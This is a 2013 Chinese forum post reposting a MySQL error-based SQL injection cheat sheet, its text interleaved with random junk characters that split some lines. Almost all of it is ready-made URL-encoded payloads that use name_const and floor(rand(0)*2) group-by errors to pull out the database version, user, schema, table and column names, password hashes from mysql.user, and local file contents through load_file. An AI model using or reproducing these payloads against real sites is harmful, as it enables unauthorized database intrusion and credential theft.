本帖最后由 Nightmare 于 2013-3-17 14:20 编辑 3 ~& L" {* p% s
6 y1 i6 ] R7 o( Y. S- s, F7 i) v2 _
Mysql暴错注入参考(pdf),每天一贴。。。
% v. c u# k/ l) n6 w' \: V' ~. l5 `! r( q8 X
MySql Error Based Injection Reference: L) k7 f0 _ j( Z
[Mysql暴错注入参考]
! [1 f- ~* g: {$ tAuthornig0s1992+ |5 E& x$ ~, S$ d# m7 x
Blog:http://pnig0s1992.blog.51cto.com/0 {0 g4 J: _. n. F k9 s
TeAm:http://www.FreeBuf.com/
* H; L1 P, V3 y* W+ |- pMysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
3 y7 y% A* d& V' l5 B1 _小部分版本使用name_const()时会报错.可以用给出的Method.2测试
" j$ F4 I/ i- {# b7 i查询版本: K, P2 M0 w Z7 d0 K' d0 ]5 {' ~
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
9 J2 T' J2 U5 y# `: M- ~join+(select+name_const(@@version,0))b)c)
. L) r: s/ [: R: x; u2 JMethod.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro* g! j1 U8 j: k
up by a)b)
m( u; a7 U* n3 u查询当前用户:3 |( }$ W* Y T. v
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
$ K! _; ^6 N. ~( U: S8 i2 H& [1 V# J BMethod.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
0 C+ U9 v2 Z( rand(0)*2))x+from+information_schema.tables+group+by+x)a)
/ p; c- @+ u# L' d" T/ r ^查询当前数据库:0 Q8 t3 m3 ]+ @
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
) ?: M% }5 F& dMethod.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo8 i8 h) z+ l7 ? i+ Q
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)2 u2 |* d8 P2 P4 L! X/ E; U
依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+& E0 l1 t5 w) Z y P9 V9 g' u+ D
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n5 q* H; J! l* M& a
顺序替换
' ^7 O/ }* U! a. q, w+ g* Y爆指定库数目:- l4 e8 {7 r: g- u- U
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t. G9 }) M3 T- X8 n. `- r, t- @# k
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group8 W1 }+ M, s/ I' F6 O! e$ }; Q2 ^
+by+x)a)+and+1=1 0x6D7973716C=mysql
+ \9 f3 N8 b2 d% S3 z. K6 W依次爆表:& l/ O' [# u7 R& H2 m W
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
+ t1 y5 H) C: n5 n. `& t& Vable_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
9 s `; V* m4 E+ [! g) d) A. |bles+group+by+x)a)+and+1=1
1 F5 z1 a! K: W9 z0x6D7973716C=Mysql 将n顺序替换
5 ]2 m2 ]1 ?, ^1 s爆表内字段数目: K! k- N5 `' X6 A: S
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE1 i5 Q7 V1 r- Y+ i2 C; d) z+ x
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran+ j1 d- \ y; ` A* u+ X ~8 p; C1 J
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
& a0 S' V: p9 a. m" |依次爆字段:, f1 {+ k3 X( _6 [
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
6 N. Q6 F6 ~- U) M+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1* ~; g H0 p* n& r0 X" ^% q% p
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1 将n顺序替换
/ P1 S3 v$ ^2 _2 N依次暴内容:
- w; G9 A* U. Z3 a7 V3 Land+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche4 N0 A% e! F: `! T8 o
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=17 A& i4 w1 S+ o5 z5 _
将n顺序替换
# B( |' l, y. k& M. \6 J2 A( @6 h爆文件内容: {* d1 X9 D9 T- J
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
9 x% l! G$ b: a6 C2 }from+information_schema.tables+group+by+a)b)
# d6 u7 U$ K4 E0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
' m) ^: e B( R+ i# P2 qThx for reading.
7 c% c& }: `1 d3 q8 l4 G9 c# J; o& i; ?1 a) M/ S
不要下载也可以,
$ d( m( ]- ?& A |